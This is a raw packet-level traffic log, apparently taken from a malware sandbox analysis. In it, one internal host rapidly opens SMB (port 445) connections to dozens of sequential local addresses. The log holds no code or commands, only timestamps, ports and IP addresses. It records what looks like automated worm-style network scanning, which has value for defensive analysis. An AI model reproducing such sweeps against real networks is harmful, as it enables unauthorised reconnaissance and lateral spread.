Jul 6, 2024 14:11:30.116328001 CEST	51350	445	192.168.2.6	192.168.0.137
Jul 6, 2024 14:11:30.116745949 CEST	51352	445	192.168.2.6	192.168.0.139
Jul 6, 2024 14:11:30.117554903 CEST	51351	445	192.168.2.6	192.168.0.138
Jul 6, 2024 14:11:30.120506048 CEST	51354	445	192.168.2.6	192.168.1.10
Jul 6, 2024 14:11:30.131985903 CEST	51355	445	192.168.2.6	192.168.0.140
Jul 6, 2024 14:11:30.134187937 CEST	51356	445	192.168.2.6	192.168.1.11
Jul 6, 2024 14:11:30.148614883 CEST	51358	445	192.168.2.6	192.168.1.12
Jul 6, 2024 14:11:30.161905050 CEST	445	51341	192.168.0.134	192.168.2.6
Jul 6, 2024 14:11:30.162154913 CEST	445	51339	192.168.1.6	192.168.2.6
Jul 6, 2024 14:11:30.162354946 CEST	51339	445	192.168.2.6	192.168.1.6
Jul 6, 2024 14:11:30.163348913 CEST	51360	445	192.168.2.6	192.168.0.141
Jul 6, 2024 14:11:30.164251089 CEST	51362	445	192.168.2.6	192.168.1.13
Jul 6, 2024 14:11:30.168178082 CEST	445	51345	192.168.0.136	192.168.2.6
Jul 6, 2024 14:11:30.168286085 CEST	445	51348	192.168.1.9	192.168.2.6
Jul 6, 2024 14:11:30.168339014 CEST	51348	445	192.168.2.6	192.168.1.9
Jul 6, 2024 14:11:30.168423891 CEST	51348	445	192.168.2.6	192.168.1.9
Jul 6, 2024 14:11:30.168677092 CEST	51345	445	192.168.2.6	192.168.0.136
Jul 6, 2024 14:11:30.168677092 CEST	51345	445	192.168.2.6	192.168.0.136
Jul 6, 2024 14:11:30.168694019 CEST	445	51350	192.168.0.137	192.168.2.6
Jul 6, 2024 14:11:30.168704033 CEST	445	51352	192.168.0.139	192.168.2.6
Jul 6, 2024 14:11:30.168735027 CEST	445	51351	192.168.0.138	192.168.2.6
Jul 6, 2024 14:11:30.168747902 CEST	445	51339	192.168.1.6	192.168.2.6
Jul 6, 2024 14:11:30.168802023 CEST	51351	445	192.168.2.6	192.168.0.138
Jul 6, 2024 14:11:30.169158936 CEST	445	51354	192.168.1.10	192.168.2.6
Jul 6, 2024 14:11:30.170072079 CEST	51350	445	192.168.2.6	192.168.0.137
Jul 6, 2024 14:11:30.170072079 CEST	51352	445	192.168.2.6	192.168.0.139
Jul 6, 2024 14:11:30.170072079 CEST	51352	445	192.168.2.6	192.168.0.139
Jul 6, 2024 14:11:30.170072079 CEST	51350	445	192.168.2.6	192.168.0.137
Jul 6, 2024 14:11:30.171221972 CEST	51351	445	192.168.2.6	192.168.0.138
Jul 6, 2024 14:11:30.172610998 CEST	445	51355	192.168.0.140	192.168.2.6
Jul 6, 2024 14:11:30.172620058 CEST	445	51356	192.168.1.11	192.168.2.6
Jul 6, 2024 14:11:30.172642946 CEST	445	51343	192.168.1.7	192.168.2.6
Jul 6, 2024 14:11:30.172667027 CEST	445	51347	192.168.1.8	192.168.2.6
Jul 6, 2024 14:11:30.172730923 CEST	445	51358	192.168.1.12	192.168.2.6
Jul 6, 2024 14:11:30.172776937 CEST	51358	445	192.168.2.6	192.168.1.12
Jul 6, 2024 14:11:30.175625086 CEST	51356	445	192.168.2.6	192.168.1.11
Jul 6, 2024 14:11:30.176512003 CEST	445	51360	192.168.0.141	192.168.2.6
Jul 6, 2024 14:11:30.176539898 CEST	445	51362	192.168.1.13	192.168.2.6
Jul 6, 2024 14:11:30.177046061 CEST	445	51348	192.168.1.9	192.168.2.6
Jul 6, 2024 14:11:30.177516937 CEST	445	51345	192.168.0.136	192.168.2.6
Jul 6, 2024 14:11:30.177525043 CEST	445	51352	192.168.0.139	192.168.2.6
Jul 6, 2024 14:11:30.177532911 CEST	445	51350	192.168.0.137	192.168.2.6
Jul 6, 2024 14:11:30.177540064 CEST	445	51351	192.168.0.138	192.168.2.6
Jul 6, 2024 14:11:30.177613974 CEST	51362	445	192.168.2.6	192.168.1.13
Jul 6, 2024 14:11:30.182424068 CEST	51358	445	192.168.2.6	192.168.1.12
Jul 6, 2024 14:11:30.182688951 CEST	51354	445	192.168.2.6	192.168.1.10
Jul 6, 2024 14:11:30.182688951 CEST	51355	445	192.168.2.6	192.168.0.140
Jul 6, 2024 14:11:30.182688951 CEST	51355	445	192.168.2.6	192.168.0.140
Jul 6, 2024 14:11:30.182689905 CEST	51354	445	192.168.2.6	192.168.1.10
Jul 6, 2024 14:11:30.185743093 CEST	445	51347	192.168.1.8	192.168.2.6
Jul 6, 2024 14:11:30.187854052 CEST	445	51355	192.168.0.140	192.168.2.6
Jul 6, 2024 14:11:30.188879013 CEST	51356	445	192.168.2.6	192.168.1.11
Jul 6, 2024 14:11:30.188879013 CEST	51347	445	192.168.2.6	192.168.1.8
Jul 6, 2024 14:11:30.189439058 CEST	445	51343	192.168.1.7	192.168.2.6
Jul 6, 2024 14:11:30.190001011 CEST	445	51348	192.168.1.9	192.168.2.6
Jul 6, 2024 14:11:30.190151930 CEST	445	51345	192.168.0.136	192.168.2.6
Jul 6, 2024 14:11:30.190614939 CEST	445	51351	192.168.0.138	192.168.2.6
Jul 6, 2024 14:11:30.190743923 CEST	445	51350	192.168.0.137	192.168.2.6
Jul 6, 2024 14:11:30.191386938 CEST	445	51352	192.168.0.139	192.168.2.6
Jul 6, 2024 14:11:30.193793058 CEST	445	51358	192.168.1.12	192.168.2.6
Jul 6, 2024 14:11:30.193891048 CEST	445	51356	192.168.1.11	192.168.2.6
Jul 6, 2024 14:11:30.194070101 CEST	445	51356	192.168.1.11	192.168.2.6
Jul 6, 2024 14:11:30.195023060 CEST	445	51354	192.168.1.10	192.168.2.6
Jul 6, 2024 14:11:30.195348978 CEST	445	51355	192.168.0.140	192.168.2.6
Jul 6, 2024 14:11:30.195691109 CEST	51368	445	192.168.2.6	192.168.1.15
Jul 6, 2024 14:11:30.196862936 CEST	51362	445	192.168.2.6	192.168.1.13
Jul 6, 2024 14:11:30.196863890 CEST	51364	445	192.168.2.6	192.168.1.14
Jul 6, 2024 14:11:30.197103024 CEST	51354	445	192.168.2.6	192.168.1.10
Jul 6, 2024 14:11:30.198029995 CEST	445	51358	192.168.1.12	192.168.2.6
Jul 6, 2024 14:11:30.200613022 CEST	51366	445	192.168.2.6	192.168.0.144
Jul 6, 2024 14:11:30.200925112 CEST	51348	445	192.168.2.6	192.168.1.9
Jul 6, 2024 14:11:30.200925112 CEST	51356	445	192.168.2.6	192.168.1.11
Jul 6, 2024 14:11:30.201410055 CEST	445	51368	192.168.1.15	192.168.2.6
Jul 6, 2024 14:11:30.201483011 CEST	51368	445	192.168.2.6	192.168.1.15
Jul 6, 2024 14:11:30.201574087 CEST	51368	445	192.168.2.6	192.168.1.15
Jul 6, 2024 14:11:30.202220917 CEST	445	51354	192.168.1.10	192.168.2.6
Jul 6, 2024 14:11:30.202897072 CEST	445	51362	192.168.1.13	192.168.2.6
Jul 6, 2024 14:11:30.205141068 CEST	445	51362	192.168.1.13	192.168.2.6
Jul 6, 2024 14:11:30.207395077 CEST	445	51366	192.168.0.144	192.168.2.6
Jul 6, 2024 14:11:30.207633972 CEST	51358	445	192.168.2.6	192.168.1.12
Jul 6, 2024 14:11:30.208075047 CEST	51366	445	192.168.2.6	192.168.0.144
Jul 6, 2024 14:11:30.208307028 CEST	445	51368	192.168.1.15	192.168.2.6
Jul 6, 2024 14:11:30.209454060 CEST	51360	445	192.168.2.6	192.168.0.141
Jul 6, 2024 14:11:30.209454060 CEST	51360	445	192.168.2.6	192.168.0.141
Jul 6, 2024 14:11:30.209454060 CEST	51363	445	192.168.2.6	192.168.0.142
Jul 6, 2024 14:11:30.210262060 CEST	51368	445	192.168.2.6	192.168.1.15
Jul 6, 2024 14:11:30.217192888 CEST	445	51364	192.168.1.14	192.168.2.6
Jul 6, 2024 14:11:30.218605042 CEST	51366	445	192.168.2.6	192.168.0.144
Jul 6, 2024 14:11:30.224419117 CEST	445	51366	192.168.0.144	192.168.2.6
Jul 6, 2024 14:11:30.224611998 CEST	445	51366	192.168.0.144	192.168.2.6
Jul 6, 2024 14:11:30.229980946 CEST	51343	445	192.168.2.6	192.168.1.7
Jul 6, 2024 14:11:30.229980946 CEST	51367	445	192.168.2.6	192.168.0.143
Jul 6, 2024 14:11:30.235107899 CEST	445	51360	192.168.0.141	192.168.2.6
Jul 6, 2024 14:11:30.235443115 CEST	51362	445	192.168.2.6	192.168.1.13
Jul 6, 2024 14:11:30.235443115 CEST	51370	445	192.168.2.6	192.168.1.16
Jul 6, 2024 14:11:30.235443115 CEST	51364	445	192.168.2.6	192.168.1.14
Jul 6, 2024 14:11:30.235443115 CEST	51364	445	192.168.2.6	192.168.1.14
Jul 6, 2024 14:11:30.235443115 CEST	51373	445	192.168.2.6	192.168.1.17
Jul 6, 2024 14:11:30.235625982 CEST	445	51363	192.168.0.142	192.168.2.6
Jul 6, 2024 14:11:30.236085892 CEST	445	51360	192.168.0.141	192.168.2.6
Jul 6, 2024 14:11:30.241739035 CEST	51376	445	192.168.2.6	192.168.0.146
Jul 6, 2024 14:11:30.244015932 CEST	445	51370	192.168.1.16	192.168.2.6
Jul 6, 2024 14:11:30.244028091 CEST	445	51373	192.168.1.17	192.168.2.6
Jul 6, 2024 14:11:30.244857073 CEST	445	51364	192.168.1.14	192.168.2.6
Jul 6, 2024 14:11:30.247270107 CEST	445	51376	192.168.0.146	192.168.2.6
Jul 6, 2024 14:11:30.247334957 CEST	51376	445	192.168.2.6	192.168.0.146
Jul 6, 2024 14:11:30.247425079 CEST	51376	445	192.168.2.6	192.168.0.146
Jul 6, 2024 14:11:30.249303102 CEST	51370	445	192.168.2.6	192.168.1.16
Jul 6, 2024 14:11:30.249303102 CEST	51373	445	192.168.2.6	192.168.1.17
Jul 6, 2024 14:11:30.249303102 CEST	51373	445	192.168.2.6	192.168.1.17
Jul 6, 2024 14:11:30.249303102 CEST	51370	445	192.168.2.6	192.168.1.16
Jul 6, 2024 14:11:30.249303102 CEST	51364	445	192.168.2.6	192.168.1.14
Jul 6, 2024 14:11:30.250152111 CEST	51374	445	192.168.2.6	192.168.0.145
Jul 6, 2024 14:11:30.250152111 CEST	51375	445	192.168.2.6	192.168.0.147
Jul 6, 2024 14:11:30.250152111 CEST	51377	445	192.168.2.6	192.168.1.18
Jul 6, 2024 14:11:30.252413034 CEST	445	51376	192.168.0.146	192.168.2.6
Jul 6, 2024 14:11:30.253494978 CEST	445	51376	192.168.0.146	192.168.2.6
Jul 6, 2024 14:11:30.254673958 CEST	445	51367	192.168.0.143	192.168.2.6
Jul 6, 2024 14:11:30.256566048 CEST	445	51374	192.168.0.145	192.168.2.6
Jul 6, 2024 14:11:30.256583929 CEST	445	51375	192.168.0.147	192.168.2.6
Jul 6, 2024 14:11:30.256597042 CEST	445	51377	192.168.1.18	192.168.2.6
Jul 6, 2024 14:11:30.256722927 CEST	51374	445	192.168.2.6	192.168.0.145
Jul 6, 2024 14:11:30.256722927 CEST	51375	445	192.168.2.6	192.168.0.147
Jul 6, 2024 14:11:30.259413004 CEST	51377	445	192.168.2.6	192.168.1.18
Jul 6, 2024 14:11:30.259413004 CEST	51375	445	192.168.2.6	192.168.0.147
Jul 6, 2024 14:11:30.259413004 CEST	51377	445	192.168.2.6	192.168.1.18
Jul 6, 2024 14:11:30.259413004 CEST	51379	445	192.168.2.6	192.168.1.19
Jul 6, 2024 14:11:30.263636112 CEST	445	51370	192.168.1.16	192.168.2.6
Jul 6, 2024 14:11:30.263643980 CEST	445	51373	192.168.1.17	192.168.2.6
Jul 6, 2024 14:11:30.263678074 CEST	445	51374	192.168.0.145	192.168.2.6
Jul 6, 2024 14:11:30.263704062 CEST	51370	445	192.168.2.6	192.168.1.16
Jul 6, 2024 14:11:30.263742924 CEST	51373	445	192.168.2.6	192.168.1.17
Jul 6, 2024 14:11:30.264606953 CEST	51374	445	192.168.2.6	192.168.0.145
Jul 6, 2024 14:11:30.265423059 CEST	445	51375	192.168.0.147	192.168.2.6
Jul 6, 2024 14:11:30.265481949 CEST	51375	445	192.168.2.6	192.168.0.147
Jul 6, 2024 14:11:30.266001940 CEST	445	51375	192.168.0.147	192.168.2.6
Jul 6, 2024 14:11:30.266855955 CEST	445	51377	192.168.1.18	192.168.2.6
Jul 6, 2024 14:11:30.266911983 CEST	51377	445	192.168.2.6	192.168.1.18
Jul 6, 2024 14:11:30.267117023 CEST	445	51379	192.168.1.19	192.168.2.6
Jul 6, 2024 14:11:30.267179012 CEST	51379	445	192.168.2.6	192.168.1.19
Jul 6, 2024 14:11:30.268202066 CEST	51363	445	192.168.2.6	192.168.0.142
Jul 6, 2024 14:11:30.272070885 CEST	51363	445	192.168.2.6	192.168.0.142
Jul 6, 2024 14:11:30.272070885 CEST	51367	445	192.168.2.6	192.168.0.143
Jul 6, 2024 14:11:30.272070885 CEST	51367	445	192.168.2.6	192.168.0.143
Jul 6, 2024 14:11:30.272433996 CEST	51379	445	192.168.2.6	192.168.1.19
Jul 6, 2024 14:11:30.272725105 CEST	445	51375	192.168.0.147	192.168.2.6
Jul 6, 2024 14:11:30.272747040 CEST	51382	445	192.168.2.6	192.168.0.148
Jul 6, 2024 14:11:30.273045063 CEST	51381	445	192.168.2.6	192.168.0.149
Jul 6, 2024 14:11:30.274171114 CEST	51384	445	192.168.2.6	192.168.1.20
Jul 6, 2024 14:11:30.274735928 CEST	445	51379	192.168.1.19	192.168.2.6
Jul 6, 2024 14:11:30.274796963 CEST	51379	445	192.168.2.6	192.168.1.19
Jul 6, 2024 14:11:30.279968023 CEST	445	51363	192.168.0.142	192.168.2.6
Jul 6, 2024 14:11:30.279977083 CEST	445	51379	192.168.1.19	192.168.2.6
Jul 6, 2024 14:11:30.279984951 CEST	445	51367	192.168.0.143	192.168.2.6
Jul 6, 2024 14:11:30.279993057 CEST	445	51382	192.168.0.148	192.168.2.6
Jul 6, 2024 14:11:30.280009985 CEST	445	51381	192.168.0.149	192.168.2.6
Jul 6, 2024 14:11:30.280092955 CEST	51382	445	192.168.2.6	192.168.0.148
Jul 6, 2024 14:11:30.280109882 CEST	445	51363	192.168.0.142	192.168.2.6
Jul 6, 2024 14:11:30.280764103 CEST	445	51367	192.168.0.143	192.168.2.6
Jul 6, 2024 14:11:30.281168938 CEST	51381	445	192.168.2.6	192.168.0.149
Jul 6, 2024 14:11:30.281168938 CEST	51381	445	192.168.2.6	192.168.0.149
Jul 6, 2024 14:11:30.282160044 CEST	445	51384	192.168.1.20	192.168.2.6
Jul 6, 2024 14:11:30.282249928 CEST	51384	445	192.168.2.6	192.168.1.20
Jul 6, 2024 14:11:30.286730051 CEST	445	51381	192.168.0.149	192.168.2.6
Jul 6, 2024 14:11:30.287278891 CEST	51381	445	192.168.2.6	192.168.0.149
Jul 6, 2024 14:11:30.287756920 CEST	445	51381	192.168.0.149	192.168.2.6
Jul 6, 2024 14:11:30.288424015 CEST	445	51384	192.168.1.20	192.168.2.6
Jul 6, 2024 14:11:30.288500071 CEST	51384	445	192.168.2.6	192.168.1.20
Jul 6, 2024 14:11:30.288614035 CEST	51384	445	192.168.2.6	192.168.1.20
Jul 6, 2024 14:11:30.289830923 CEST	51385	445	192.168.2.6	192.168.1.21
Jul 6, 2024 14:11:30.292854071 CEST	445	51381	192.168.0.149	192.168.2.6
Jul 6, 2024 14:11:30.295669079 CEST	445	51384	192.168.1.20	192.168.2.6
Jul 6, 2024 14:11:30.295686960 CEST	445	51385	192.168.1.21	192.168.2.6
Jul 6, 2024 14:11:30.295758963 CEST	51385	445	192.168.2.6	192.168.1.21
Jul 6, 2024 14:11:30.295896053 CEST	51385	445	192.168.2.6	192.168.1.21
Jul 6, 2024 14:11:30.304423094 CEST	445	51385	192.168.1.21	192.168.2.6
Jul 6, 2024 14:11:30.304507017 CEST	51385	445	192.168.2.6	192.168.1.21
Jul 6, 2024 14:11:30.305027962 CEST	51388	445	192.168.2.6	192.168.1.22
Jul 6, 2024 14:11:30.310426950 CEST	445	51388	192.168.1.22	192.168.2.6
Jul 6, 2024 14:11:30.310506105 CEST	51388	445	192.168.2.6	192.168.1.22
Jul 6, 2024 14:11:30.317738056 CEST	445	51388	192.168.1.22	192.168.2.6
Jul 6, 2024 14:11:30.317809105 CEST	51388	445	192.168.2.6	192.168.1.22
Jul 6, 2024 14:11:30.319292068 CEST	51388	445	192.168.2.6	192.168.1.22
Jul 6, 2024 14:11:30.319617033 CEST	51389	445	192.168.2.6	192.168.0.151
Jul 6, 2024 14:11:30.319880962 CEST	51390	445	192.168.2.6	192.168.0.150
Jul 6, 2024 14:11:30.320923090 CEST	51391	445	192.168.2.6	192.168.1.23
Jul 6, 2024 14:11:30.324862003 CEST	445	51388	192.168.1.22	192.168.2.6
Jul 6, 2024 14:11:30.326143026 CEST	445	51389	192.168.0.151	192.168.2.6
Jul 6, 2024 14:11:30.326153994 CEST	445	51390	192.168.0.150	192.168.2.6
Jul 6, 2024 14:11:30.326217890 CEST	51389	445	192.168.2.6	192.168.0.151
Jul 6, 2024 14:11:30.326227903 CEST	51390	445	192.168.2.6	192.168.0.150
Jul 6, 2024 14:11:30.326301098 CEST	51390	445	192.168.2.6	192.168.0.150
Jul 6, 2024 14:11:30.326319933 CEST	51389	445	192.168.2.6	192.168.0.151
Jul 6, 2024 14:11:30.326482058 CEST	445	51391	192.168.1.23	192.168.2.6
Jul 6, 2024 14:11:30.326533079 CEST	51391	445	192.168.2.6	192.168.1.23
Jul 6, 2024 14:11:30.326611996 CEST	51391	445	192.168.2.6	192.168.1.23
Jul 6, 2024 14:11:30.331855059 CEST	445	51390	192.168.0.150	192.168.2.6
Jul 6, 2024 14:11:30.332000017 CEST	445	51389	192.168.0.151	192.168.2.6
Jul 6, 2024 14:11:30.332331896 CEST	445	51389	192.168.0.151	192.168.2.6
Jul 6, 2024 14:11:30.332660913 CEST	445	51390	192.168.0.150	192.168.2.6
Jul 6, 2024 14:11:30.332670927 CEST	445	51391	192.168.1.23	192.168.2.6
Jul 6, 2024 14:11:30.332721949 CEST	51391	445	192.168.2.6	192.168.1.23
Jul 6, 2024 14:11:30.335191965 CEST	51393	445	192.168.2.6	192.168.0.152
Jul 6, 2024 14:11:30.335192919 CEST	51394	445	192.168.2.6	192.168.0.153
Jul 6, 2024 14:11:30.336276054 CEST	51396	445	192.168.2.6	192.168.1.24
Jul 6, 2024 14:11:30.341633081 CEST	445	51393	192.168.0.152	192.168.2.6
Jul 6, 2024 14:11:30.341718912 CEST	51393	445	192.168.2.6	192.168.0.152
Jul 6, 2024 14:11:30.341788054 CEST	445	51394	192.168.0.153	192.168.2.6
Jul 6, 2024 14:11:30.341808081 CEST	51393	445	192.168.2.6	192.168.0.152
Jul 6, 2024 14:11:30.341861010 CEST	51394	445	192.168.2.6	192.168.0.153
Jul 6, 2024 14:11:30.341963053 CEST	445	51396	192.168.1.24	192.168.2.6
Jul 6, 2024 14:11:30.341984987 CEST	51394	445	192.168.2.6	192.168.0.153
Jul 6, 2024 14:11:30.342015982 CEST	51396	445	192.168.2.6	192.168.1.24
Jul 6, 2024 14:11:30.347476959 CEST	445	51393	192.168.0.152	192.168.2.6
Jul 6, 2024 14:11:30.347804070 CEST	445	51394	192.168.0.153	192.168.2.6
Jul 6, 2024 14:11:30.347961903 CEST	445	51394	192.168.0.153	192.168.2.6
Jul 6, 2024 14:11:30.348442078 CEST	445	51396	192.168.1.24	192.168.2.6
Jul 6, 2024 14:11:30.348515034 CEST	51396	445	192.168.2.6	192.168.1.24
Jul 6, 2024 14:11:30.350519896 CEST	51396	445	192.168.2.6	192.168.1.24
Jul 6, 2024 14:11:30.350718021 CEST	51397	445	192.168.2.6	192.168.0.154
Jul 6, 2024 14:11:30.351823092 CEST	51399	445	192.168.2.6	192.168.1.25
Jul 6, 2024 14:11:30.356090069 CEST	445	51396	192.168.1.24	192.168.2.6
Jul 6, 2024 14:11:30.356256962 CEST	445	51397	192.168.0.154	192.168.2.6
Jul 6, 2024 14:11:30.356319904 CEST	51397	445	192.168.2.6	192.168.0.154
Jul 6, 2024 14:11:30.356395960 CEST	51397	445	192.168.2.6	192.168.0.154
Jul 6, 2024 14:11:30.357862949 CEST	445	51399	192.168.1.25	192.168.2.6
Jul 6, 2024 14:11:30.357927084 CEST	51399	445	192.168.2.6	192.168.1.25
Jul 6, 2024 14:11:30.358014107 CEST	51399	445	192.168.2.6	192.168.1.25
Jul 6, 2024 14:11:30.361901999 CEST	445	51397	192.168.0.154	192.168.2.6
Jul 6, 2024 14:11:30.362694025 CEST	445	51397	192.168.0.154	192.168.2.6
Jul 6, 2024 14:11:30.364219904 CEST	445	51399	192.168.1.25	192.168.2.6
Jul 6, 2024 14:11:30.364279032 CEST	51399	445	192.168.2.6	192.168.1.25
Jul 6, 2024 14:11:30.366441965 CEST	51400	445	192.168.2.6	192.168.0.155
Jul 6, 2024 14:11:30.367357969 CEST	51402	445	192.168.2.6	192.168.1.26
Jul 6, 2024 14:11:30.372082949 CEST	445	51400	192.168.0.155	192.168.2.6
Jul 6, 2024 14:11:30.372153044 CEST	51400	445	192.168.2.6	192.168.0.155
Jul 6, 2024 14:11:30.372231960 CEST	51400	445	192.168.2.6	192.168.0.155
Jul 6, 2024 14:11:30.374320984 CEST	445	51402	192.168.1.26	192.168.2.6
Jul 6, 2024 14:11:30.374391079 CEST	51402	445	192.168.2.6	192.168.1.26
Jul 6, 2024 14:11:30.374480963 CEST	51402	445	192.168.2.6	192.168.1.26
Jul 6, 2024 14:11:30.378823042 CEST	445	51400	192.168.0.155	192.168.2.6
Jul 6, 2024 14:11:30.380465984 CEST	445	51402	192.168.1.26	192.168.2.6
Jul 6, 2024 14:11:30.380522966 CEST	51402	445	192.168.2.6	192.168.1.26
Jul 6, 2024 14:11:30.381970882 CEST	51403	445	192.168.2.6	192.168.0.156
Jul 6, 2024 14:11:30.383018017 CEST	51404	445	192.168.2.6	192.168.1.27
Jul 6, 2024 14:11:30.387586117 CEST	445	51403	192.168.0.156	192.168.2.6
Jul 6, 2024 14:11:30.387651920 CEST	51403	445	192.168.2.6	192.168.0.156
Jul 6, 2024 14:11:30.387718916 CEST	51403	445	192.168.2.6	192.168.0.156
Jul 6, 2024 14:11:30.389411926 CEST	445	51404	192.168.1.27	192.168.2.6
Jul 6, 2024 14:11:30.389480114 CEST	51404	445	192.168.2.6	192.168.1.27
Jul 6, 2024 14:11:30.389548063 CEST	51404	445	192.168.2.6	192.168.1.27
Jul 6, 2024 14:11:30.394730091 CEST	445	51403	192.168.0.156	192.168.2.6
Jul 6, 2024 14:11:30.395049095 CEST	445	51403	192.168.0.156	192.168.2.6
Jul 6, 2024 14:11:30.396550894 CEST	445	51404	192.168.1.27	192.168.2.6
Jul 6, 2024 14:11:30.396620989 CEST	51404	445	192.168.2.6	192.168.1.27
Jul 6, 2024 14:11:30.399338961 CEST	51407	445	192.168.2.6	192.168.1.28
Jul 6, 2024 14:11:30.406728983 CEST	445	51407	192.168.1.28	192.168.2.6
Jul 6, 2024 14:11:30.406800032 CEST	51407	445	192.168.2.6	192.168.1.28
Jul 6, 2024 14:11:30.412976980 CEST	51407	445	192.168.2.6	192.168.1.28
Jul 6, 2024 14:11:30.413136005 CEST	51408	445	192.168.2.6	192.168.0.157
Jul 6, 2024 14:11:30.413222075 CEST	51409	445	192.168.2.6	192.168.0.158
Jul 6, 2024 14:11:30.415049076 CEST	51411	445	192.168.2.6	192.168.1.29
Jul 6, 2024 14:11:30.418198109 CEST	445	51408	192.168.0.157	192.168.2.6
Jul 6, 2024 14:11:30.418277025 CEST	51408	445	192.168.2.6	192.168.0.157
Jul 6, 2024 14:11:30.418335915 CEST	51408	445	192.168.2.6	192.168.0.157
Jul 6, 2024 14:11:30.418538094 CEST	445	51409	192.168.0.158	192.168.2.6
Jul 6, 2024 14:11:30.418596983 CEST	51409	445	192.168.2.6	192.168.0.158
Jul 6, 2024 14:11:30.418622971 CEST	445	51407	192.168.1.28	192.168.2.6
Jul 6, 2024 14:11:30.418701887 CEST	51409	445	192.168.2.6	192.168.0.158
Jul 6, 2024 14:11:30.419013977 CEST	445	51407	192.168.1.28	192.168.2.6
Jul 6, 2024 14:11:30.419064999 CEST	51407	445	192.168.2.6	192.168.1.28
Jul 6, 2024 14:11:30.421439886 CEST	445	51411	192.168.1.29	192.168.2.6
Jul 6, 2024 14:11:30.421504021 CEST	51411	445	192.168.2.6	192.168.1.29
Jul 6, 2024 14:11:30.421597004 CEST	51411	445	192.168.2.6	192.168.1.29
Jul 6, 2024 14:11:30.423544884 CEST	445	51408	192.168.0.157	192.168.2.6
Jul 6, 2024 14:11:30.424348116 CEST	445	51408	192.168.0.157	192.168.2.6
Jul 6, 2024 14:11:30.424411058 CEST	445	51409	192.168.0.158	192.168.2.6
Jul 6, 2024 14:11:30.424485922 CEST	445	51409	192.168.0.158	192.168.2.6
Jul 6, 2024 14:11:30.428755045 CEST	51412	445	192.168.2.6	192.168.0.159
Jul 6, 2024 14:11:30.429677010 CEST	51413	445	192.168.2.6	192.168.1.30
Jul 6, 2024 14:11:30.430131912 CEST	445	51411	192.168.1.29	192.168.2.6
Jul 6, 2024 14:11:30.430192947 CEST	51411	445	192.168.2.6	192.168.1.29
Jul 6, 2024 14:11:30.434221029 CEST	445	51412	192.168.0.159	192.168.2.6
Jul 6, 2024 14:11:30.434307098 CEST	51412	445	192.168.2.6	192.168.0.159
Jul 6, 2024 14:11:30.434451103 CEST	51412	445	192.168.2.6	192.168.0.159
Jul 6, 2024 14:11:30.435259104 CEST	445	51413	192.168.1.30	192.168.2.6
Jul 6, 2024 14:11:30.435333967 CEST	51413	445	192.168.2.6	192.168.1.30
Jul 6, 2024 14:11:30.435420990 CEST	51413	445	192.168.2.6	192.168.1.30
Jul 6, 2024 14:11:30.440351009 CEST	445	51412	192.168.0.159	192.168.2.6
Jul 6, 2024 14:11:30.442164898 CEST	445	51413	192.168.1.30	192.168.2.6
Jul 6, 2024 14:11:30.442244053 CEST	51413	445	192.168.2.6	192.168.1.30
Jul 6, 2024 14:11:30.446086884 CEST	51416	445	192.168.2.6	192.168.1.31
Jul 6, 2024 14:11:30.455888033 CEST	445	51416	192.168.1.31	192.168.2.6
Jul 6, 2024 14:11:30.455956936 CEST	51416	445	192.168.2.6	192.168.1.31
Jul 6, 2024 14:11:30.459939003 CEST	51416	445	192.168.2.6	192.168.1.31
Jul 6, 2024 14:11:30.460238934 CEST	51417	445	192.168.2.6	192.168.0.161
Jul 6, 2024 14:11:30.460417032 CEST	51418	445	192.168.2.6	192.168.0.160
Jul 6, 2024 14:11:30.461369991 CEST	51420	445	192.168.2.6	192.168.1.32
Jul 6, 2024 14:11:30.466813087 CEST	445	51417	192.168.0.161	192.168.2.6
Jul 6, 2024 14:11:30.466823101 CEST	445	51418	192.168.0.160	192.168.2.6
Jul 6, 2024 14:11:30.466830969 CEST	445	51420	192.168.1.32	192.168.2.6
Jul 6, 2024 14:11:30.466914892 CEST	51417	445	192.168.2.6	192.168.0.161
Jul 6, 2024 14:11:30.466917038 CEST	51418	445	192.168.2.6	192.168.0.160
Jul 6, 2024 14:11:30.466976881 CEST	51417	445	192.168.2.6	192.168.0.161
Jul 6, 2024 14:11:30.466985941 CEST	51420	445	192.168.2.6	192.168.1.32
Jul 6, 2024 14:11:30.467037916 CEST	51418	445	192.168.2.6	192.168.0.160
Jul 6, 2024 14:11:30.467065096 CEST	51420	445	192.168.2.6	192.168.1.32
Jul 6, 2024 14:11:30.471998930 CEST	445	51416	192.168.1.31	192.168.2.6
Jul 6, 2024 14:11:30.472059011 CEST	51416	445	192.168.2.6	192.168.1.31
Jul 6, 2024 14:11:30.475614071 CEST	51421	445	192.168.2.6	192.168.0.162
Jul 6, 2024 14:11:30.476701021 CEST	51422	445	192.168.2.6	192.168.1.33
Jul 6, 2024 14:11:30.477360010 CEST	445	51417	192.168.0.161	192.168.2.6
Jul 6, 2024 14:11:30.478482962 CEST	445	51418	192.168.0.160	192.168.2.6
Jul 6, 2024 14:11:30.488183022 CEST	445	51417	192.168.0.161	192.168.2.6
Jul 6, 2024 14:11:30.488192081 CEST	445	51418	192.168.0.160	192.168.2.6
Jul 6, 2024 14:11:30.488234043 CEST	445	51420	192.168.1.32	192.168.2.6
Jul 6, 2024 14:11:30.488243103 CEST	445	51421	192.168.0.162	192.168.2.6
Jul 6, 2024 14:11:30.488250971 CEST	445	51422	192.168.1.33	192.168.2.6
Jul 6, 2024 14:11:30.488306999 CEST	51420	445	192.168.2.6	192.168.1.32
Jul 6, 2024 14:11:30.488332033 CEST	51421	445	192.168.2.6	192.168.0.162
Jul 6, 2024 14:11:30.488382101 CEST	51422	445	192.168.2.6	192.168.1.33
Jul 6, 2024 14:11:30.488455057 CEST	51421	445	192.168.2.6	192.168.0.162
Jul 6, 2024 14:11:30.488501072 CEST	51422	445	192.168.2.6	192.168.1.33
Jul 6, 2024 14:11:30.492295027 CEST	51425	445	192.168.2.6	192.168.1.34
Jul 6, 2024 14:11:30.500989914 CEST	445	51421	192.168.0.162	192.168.2.6
Jul 6, 2024 14:11:30.500999928 CEST	445	51425	192.168.1.34	192.168.2.6
Jul 6, 2024 14:11:30.501068115 CEST	51425	445	192.168.2.6	192.168.1.34
Jul 6, 2024 14:11:30.501147985 CEST	51425	445	192.168.2.6	192.168.1.34
Jul 6, 2024 14:11:30.504381895 CEST	445	51422	192.168.1.33	192.168.2.6
Jul 6, 2024 14:11:30.504440069 CEST	51422	445	192.168.2.6	192.168.1.33
Jul 6, 2024 14:11:30.507483006 CEST	445	51425	192.168.1.34	192.168.2.6
Jul 6, 2024 14:11:30.507534027 CEST	51425	445	192.168.2.6	192.168.1.34
Jul 6, 2024 14:11:30.508111954 CEST	51426	445	192.168.2.6	192.168.1.35
